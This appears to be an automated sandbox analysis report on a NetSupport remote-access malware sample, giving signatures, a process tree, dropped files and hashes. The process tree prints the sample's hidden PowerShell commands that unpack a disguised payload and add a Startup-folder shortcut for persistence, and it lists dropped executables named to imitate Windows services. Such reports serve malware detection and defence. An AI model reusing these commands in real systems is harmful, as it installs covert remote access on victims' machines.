Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 21:34

General

  • Target
    297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe
  • Size 203KB
  • Sample260910-1erm8shj5x
  • SHA256 297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 31 IoCs
  • Loads dropped DLL 6 IoCs
  • Drops file in System32 directory 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 3 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe
    "C:\Users\Admin\AppData\Local\Temp\297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VirtualBox Guest Additions in registry
    • Drops file in System32 directory
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -NoProfile -Command "Expand-Archive -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\UpdateDriverUtility9347.zip' -DestinationPath 'C:\Users\Admin\SysDriversComponents9347' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -NoProfile -Command "$f = Get-ChildItem -Path 'C:\Users\Admin\SysDriversComponents9347' -Recurse -Filter '*.exe' | Where-Object { $_.Name -ne 'remcmdstub.exe' } | Select-Object -First 1; if ($f) { $f.FullName | Out-File -Encoding ascii -NoNewline 'C:\Users\Admin\AppData\Local\Temp\.found_payload' }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -NoProfile -Command "$WS = New-Object -ComObject WScript.Shell; $SC = $WS.CreateShortcut($env:APPDATA + '\Microsoft\Windows\Start Menu\Programs\Startup\SystemCoreDaemon.lnk'); $SC.TargetPath = 'C:\Users\Admin\SysDriversComponents9347\drivers\systemcore-daemon.exe'; $SC.WorkingDirectory = [System.IO.Path]::GetDirectoryName('C:\Users\Admin\SysDriversComponents9347\drivers\systemcore-daemon.exe'); $SC.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1740
    • C:\Users\Admin\SysDriversComponents9347\drivers\systemcore-daemon.exe
      "C:\Users\Admin\SysDriversComponents9347\drivers\systemcore-daemon.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1464
    • C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe
      "C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:3628
    • C:\Users\Admin\AppData\Local\Temp\WinDefenderAgent.exe
      "C:\Users\Admin\AppData\Local\Temp\WinDefenderAgent.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:1556
    • C:\Users\Admin\AppData\Local\Temp\SettingsSyncBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\SettingsSyncBroker.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:1164
    • C:\Users\Admin\AppData\Local\Temp\WindowsTelemetry.exe
      "C:\Users\Admin\AppData\Local\Temp\WindowsTelemetry.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:5800
    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2420
    • C:\Users\Admin\AppData\Local\Temp\RuntimeBroker_x64.exe
      "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker_x64.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:1444
    • C:\Users\Admin\AppData\Local\Temp\SearchIndexer.exe
      "C:\Users\Admin\AppData\Local\Temp\SearchIndexer.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:4828
    • C:\Users\Admin\AppData\Local\Temp\SystemSettingsSync.exe
      "C:\Users\Admin\AppData\Local\Temp\SystemSettingsSync.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2664
    • C:\Users\Admin\AppData\Local\Temp\CredentialUIBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\CredentialUIBroker.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2056
    • C:\Users\Admin\AppData\Local\Temp\AppXDeployService.exe
      "C:\Users\Admin\AppData\Local\Temp\AppXDeployService.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:1052
    • C:\Users\Admin\AppData\Local\Temp\DiagTrackRunner.exe
      "C:\Users\Admin\AppData\Local\Temp\DiagTrackRunner.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:5428
    • C:\Users\Admin\AppData\Local\Temp\DeviceAssociationSvc.exe
      "C:\Users\Admin\AppData\Local\Temp\DeviceAssociationSvc.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:5572
    • C:\Users\Admin\AppData\Local\Temp\WmiPrvSEHost.exe
      "C:\Users\Admin\AppData\Local\Temp\WmiPrvSEHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:1952
    • C:\Users\Admin\AppData\Local\Temp\TiWorkerAgent.exe
      "C:\Users\Admin\AppData\Local\Temp\TiWorkerAgent.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:4656
    • C:\Users\Admin\AppData\Local\Temp\MusNotifyService.exe
      "C:\Users\Admin\AppData\Local\Temp\MusNotifyService.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:3236
    • C:\Users\Admin\AppData\Local\Temp\SgrmBrokerHost.exe
      "C:\Users\Admin\AppData\Local\Temp\SgrmBrokerHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2204
    • C:\Users\Admin\AppData\Local\Temp\TokenBrokerAgent.exe
      "C:\Users\Admin\AppData\Local\Temp\TokenBrokerAgent.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:904
    • C:\Users\Admin\AppData\Local\Temp\LsaIsoWorker.exe
      "C:\Users\Admin\AppData\Local\Temp\LsaIsoWorker.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2016
    • C:\Users\Admin\AppData\Local\Temp\NisSrvHost.exe
      "C:\Users\Admin\AppData\Local\Temp\NisSrvHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:4524
    • C:\Users\Admin\AppData\Local\Temp\WaaSMedicRunner.exe
      "C:\Users\Admin\AppData\Local\Temp\WaaSMedicRunner.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:4548
    • C:\Users\Admin\AppData\Local\Temp\PhoneExperienceHost.exe
      "C:\Users\Admin\AppData\Local\Temp\PhoneExperienceHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:4888
    • C:\Users\Admin\AppData\Local\Temp\TextInputHost.exe
      "C:\Users\Admin\AppData\Local\Temp\TextInputHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:5252
    • C:\Users\Admin\AppData\Local\Temp\BackgroundTaskHost.exe
      "C:\Users\Admin\AppData\Local\Temp\BackgroundTaskHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:5840
    • C:\Users\Admin\AppData\Local\Temp\UserOOBEBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\UserOOBEBroker.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2848
    • C:\Users\Admin\AppData\Local\Temp\ShellExperienceHost.exe
      "C:\Users\Admin\AppData\Local\Temp\ShellExperienceHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:248
    • C:\Users\Admin\AppData\Local\Temp\StartMenuExHost.exe
      "C:\Users\Admin\AppData\Local\Temp\StartMenuExHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2500
    • C:\Users\Admin\AppData\Local\Temp\WidgetsServiceHost.exe
      "C:\Users\Admin\AppData\Local\Temp\WidgetsServiceHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:1684
    • C:\Users\Admin\AppData\Local\Temp\WlanSvcBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\WlanSvcBroker.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:2316
    • C:\Users\Admin\AppData\Local\Temp\ContentDeliveryMgr.exe
      "C:\Users\Admin\AppData\Local\Temp\ContentDeliveryMgr.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:4392
    • C:\Users\Admin\AppData\Local\Temp\CloudExperienceHost.exe
      "C:\Users\Admin\AppData\Local\Temp\CloudExperienceHost.exe" /t 99999 /nobreak
      2⤵
      • Executes dropped EXE
      PID:5836
  • C:\Users\Admin\AppData\Local\Temp\297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe
    "C:\Users\Admin\AppData\Local\Temp\297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe" /disarm
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VirtualBox Guest Additions in registry
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Suspicious behavior: EnumeratesProcesses
    PID:52
  • C:\Users\Admin\AppData\Local\Temp\297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe
    "C:\Users\Admin\AppData\Local\Temp\297e6c4c3a1fc712be05e781b876919d9b751c335bd1b1b41199fe5ba147961b.exe" /corrupt
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VirtualBox Guest Additions in registry
    • Drops file in System32 directory
    • Checks for VirtualBox DLLs, possible anti-VM trick
    PID:2556

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 712e532df307cd5adca7d3f0083e360b76bb7a4f77b2dc0b37b70088736d6c65
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 24b779ae6b445513e3487768c8fe81c0973ab5f3a1507364f66bc3766121b219
        • MD5 SHA1 SHA512 TLSH

        .found_payload

        • Path C:\Users\Admin\AppData\Local\Temp\.found_payload
        • Size 70B
        • SHA256 4f9d9389a0cca28ec5d57350f0fe19865aef9af8eab2d6c0978478f42b96e633
        • MD5 SHA1 SHA512 TLSH

        SecurityHealthHost.exe

        • Path C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe
        • Size 56KB
        • SHA256 106490870753d87d0c5a1b4fe83045a06518d415ec595bd1d0c30fe3ed4149c1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        UpdateDriverUtility9347.zip

        • Path C:\Users\Admin\AppData\Local\Temp\UpdateDriverUtility9347.zip
        • Size 2.1MB
        • SHA256 4e428fb03df8cdf9d154b14eb7d4e2fa1d147a835a8c6e81b1863115f3cff464
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_mbk4np2d.eym.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbk4np2d.eym.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        BabaelonCoreDriver.exe

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\BabaelonCoreDriver.exe
        • Size 117KB
        • SHA256 46c40af9624ba9be8af28cfc7d3847552a93089b4b4db07a66547081f29f9891
        • MD5 SHA1 SHA512 SSDEEP TLSH

        HTCTL32.DLL

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\HTCTL32.DLL
        • Size 316KB
        • SHA256 6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSVCR100.dll

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\MSVCR100.dll
        • Size 755KB
        • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
        • MD5 SHA1 SHA512 SSDEEP TLSH

        NSM.LIC

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\NSM.LIC
        • Size 263B
        • SHA256 1dda2a0a0bab08a23b976c0314e7cdb9b8e6732910df5c53692f92a7abc4b562
        • MD5 SHA1 SHA512 TLSH

        PCICAPI.dll

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\PCICAPI.dll
        • Size 48KB
        • SHA256 a580826b0cdd59387b77f41015a2c54c8bfcdf359c0edc72993a50299918f404
        • MD5 SHA1 SHA512 SSDEEP TLSH

        PCICL32.dll

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\PCICL32.dll
        • Size 3.3MB
        • SHA256 adc7aeb96dd4c244afc5b354b0100d29d224e3b8a71e88afa281df4be56c36dd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        TCCTL32.DLL

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\TCCTL32.DLL
        • Size 459KB
        • SHA256 d03c41b7f46ef897fad02925251bdce78f1079bb7a1aa2f853704fbe81f759d1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        client32.ini

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\client32.ini
        • Size 755B
        • SHA256 0c8f8661fcfde085a77eefbe2966bfaf0ed7213a2f3e2c61a652bcf9b9c61f5d
        • MD5 SHA1 SHA512 TLSH

        pcichek.dll

        • Path C:\Users\Admin\SysDriversComponents9347\drivers\pcichek.dll
        • Size 31KB
        • SHA256 45532e8ecdccca684dd3b492c58485b0b2987893f5c7a3590c60f5fcaec4a27c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/52-12-0x000000004F490000-0x000000004F4CB000-memory.dmp

        memory/2556-157-0x000000004F490000-0x000000004F4CB000-memory.dmp

        memory/4956-43-0x000001F069930000-0x000001F06994E000-memory.dmp

        memory/4956-45-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-52-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-53-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-54-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-55-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-57-0x000001F069930000-0x000001F06993A000-memory.dmp

        memory/4956-50-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-56-0x000001F069A10000-0x000001F069A22000-memory.dmp

        memory/4956-88-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-49-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-48-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-47-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-51-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-46-0x000001F069A10000-0x000001F069A1A000-memory.dmp

        memory/4956-44-0x000001F069950000-0x000001F069A02000-memory.dmp

        memory/4956-32-0x00007FFDCD86F000-0x00007FFDCD870000-memory.dmp

        memory/4956-40-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-39-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-38-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-37-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-36-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

        memory/4956-35-0x000001F069890000-0x000001F0698B2000-memory.dmp

        memory/5748-0-0x0000000140000000-0x000000014000C000-memory.dmp

        memory/5748-150-0x0000000140000000-0x000000014000C000-memory.dmp

        memory/5748-13-0x000000004F490000-0x000000004F4CB000-memory.dmp